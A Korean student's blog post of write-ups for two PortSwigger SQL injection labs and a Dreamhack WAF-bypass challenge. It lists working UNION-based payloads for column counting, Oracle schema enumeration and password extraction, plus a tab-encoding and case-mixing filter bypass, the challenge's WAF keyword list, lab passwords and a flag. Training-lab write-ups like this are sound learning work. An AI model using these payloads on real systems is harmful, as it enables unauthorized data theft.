7주차/SQL Injection Advanced 과제

gkdudans·2023년 11월 25일

EVI$ION/웹

목록 보기
11/11

[PortSwigger] Lab: UNION attacks

Lab: SQL injection UNION attack, determining the number of columns returned by the query | Web Security Academy

문제:

  • 이 Lab에는 제품 카테고리 필터에 SQL Injection 취약점이 존재, UNION 공격을 사용하여 다른 테이블에서 데이터를 검색할 수 있음
  • 공격의 첫 번째 단계는 쿼리에서 반환되는 열 수를 확인하는 것이며, UNION SELECT를 이용해야 함
  • 다음과 같은 소스코드 존재

문제 풀이:

  • 문제에서 알려준 대로, UNION SELECT를 이용해 쿼리에서 반환되는 열 수를 확인한다. 버프스위터에서 ' UNION SELECT NULL--, ' UNION SELECT NULL,NULL--, ' UNION SELECT NULL,NULL,NULL--까지 시도해 보았다.
  • 세 번째 공격인 ' UNION SELECT NULL,NULL,NULL-- 을 시도했을 때 에러 메시지가 출력되지 않는다. 공격에 성공했다.


[PortSwigger] Lab: Examing the database

Lab: SQL injection attack, listing the database contents on Oracle | Web Security Academy

문제:

  • 이 Lab에는 제품 카테고리 필터에 SQL Injection 취약점이 존재, UNION 공격을 사용하여 다른 테이블에서 데이터를 검색할 수 있음
  • 데이터베이스에는 username과 password를 포함한 테이블이 존재한다. 이 테이블의 이름과 포함된 열을 확인한 다음 내용을 검색하여 모든 사용자의 이름과 비밀번호를 얻어야 함
  • Lab을 해결하려면 administrator 사용자로 로그인해야 함

문제 해결:

  • Burp Suite를 사용하여 제품 카테고리 필터를 설정하는 요청을 가로챈 다음 Repeater를 통해 수정한다.
  • 앞선 문제와는 다르게 [ORDER BY]를 사용했다. 'ORDER BY 3-- —에서 에러가 발생했으므로 칼럼의 개수는 2개이다.
  • 다음으로는 칼럼이 text/string/varchar type인지 알아본다. 문제의 URL에서는 공백을 표현하기 위해 ‘+’를 사용하고 있다. → 까먹고 있다가 공격이 계속 실패
  • Oracle 데이터베이스에서는 UNION을 사용할 때 각 SELECT 문에 대한 FROM 절이 필요한데, dual은 Oracle에서 가상의 테이블로서 단일 레코드를 가지고 있음 💡 [DUAL 이란?] 듀얼 테이블(DUAL table)은 모든 오라클 데이터베이스 설치본에 기본으로 존재하는, 한 열로 이루어진 특별한 (임시)테이블이다. SYSDATE, USER와 같은 "의사컬럼" 선택에 사용하는 것이 적절하다. 이 테이블은 'X' 값을 포함하는 DUMMY(더미)라 불리는 하나의 VARCHAR2(1) 열이 있다.
  • Cheet Sheat를 이용하여 페이로드를 작성한다.

정답:

  • 페이로드: '+UNION+SELECT+'abc','def'+FROM+dual—
  • 응답 분석: 문자열 값이 오류 없이 반환되는 것을 확인
  • 페이로드: '+UNION+SELECT+table_name,NULL+FROM+all_tables—
  • 응답 분석: Ctrl+F로 USER라는 키워드가 들어간 테이블을 검색해 다음 단계의 페이로드를 진행한다.
  • 페이로드: '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'—
  • 응답 분석:
    1) table_name = ‘APP_USERS_AND_ROLES2’
    GUID, ISROLE, NAME이라는 컬럼이 존재한다.
    2) table_name = ‘USERS_XDMFVS’
    USERNAME_WZMOIH, PASSWORD_PHWQXC라는 컬럼이 존재한다.
  • 페이로드: '+UNION+SELECT+USERNAME_WZMOIH,+PASSWORD_PHWQXC+FROM+USERS_XDMFVS—
  • 응답 분석: 다음과 같이 존재한다. 알아낸 administrator의 비밀번호로 로그인하면 문제가 풀린다.
    | administrator | zfx537zgx7963ewu8kf8 |
    | --- | --- |
    | carlos | yvsecwyi6snenzz3uphh |
    | wiener | vebk47xd6vtsfqdfzmgg |

[드림핵] sql injection bypass WAF

https://dreamhack.io/wargame/challenges/415


페이지 분석:

  • uid에 값을 입력한 다음 submit을 누르면 결과를 얻을 수 있음
  • guest라고 입력해본 결과 guest라는 결과가 나옴: DB에 guest라는 uid가 존재할 것이라고 추측
  • admin으로 입력해본 결과 blocked by WAF
    keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
    def check_WAF(data):
        for keyword in keywords:
            if keyword in data:
                return True
    
        return False

코드 분석: app.py 파일을 확인해 본다.

  • 공백, 주석을 포함한 문자열 대부분을 필터링하고 있음
  • 대소문자 구분 필터링은 하지 않고 있음
  • 쿼리의 결과를 화면에 출력해주고 있으므로 UNION을 이용하면 DB 데이터를 알아낼 수 있을 것임

문제 풀이:

  • 띄어쓰기, 주석 필터링 ⇒ url 인코딩으로 대체 가능함
  • 필요한 컬럼 수 결정하기 위해 NULL을 하나씩 늘려가는 페이로드 작성
      페이로드: `' UNION SELECT 1#`
      
      WAF 우회 적용: `'%09UNION%09SELECT%091%23`
      
      페이로드:`' UNION SELECT 1,2#`
      
      WAF 우회 적용:`'%09UNION%09SELECT%091,2%23`
      
      페이로드:`' UNION SELECT 1,2,3#`
      
      WAF 우회 적용:`'%09UNION%09SELECT%091,2,3%23`
      
      결과: 3번째에 성공, 2를 반환하므로 두 번째 컬럼에서 값이 출력되는 것을 확인
    
      ![](https://velog.velcdn.com/images/ansgkdud/post/fca5f9de-11be-4748-917d-9569497b57c6/image.png)
    
      

정답:

  • 대소문자를 이용하고, 공백은 %09(tab)을 이용하여 우회 구문을 작성
  • 페이로드: ‘ **Union SelecT null,upw,null From user where uid='Admin**
  • WAF 우회 적용: '%09Union%09SelecT%09null,upw,null%09From%09user%09where%09uid='Admin
  • 결과로 flag: DH{bc818d522986e71f9b10afd732aef9789a6db76d} 출력
profile
https://github.com/gkdudans

0개의 댓글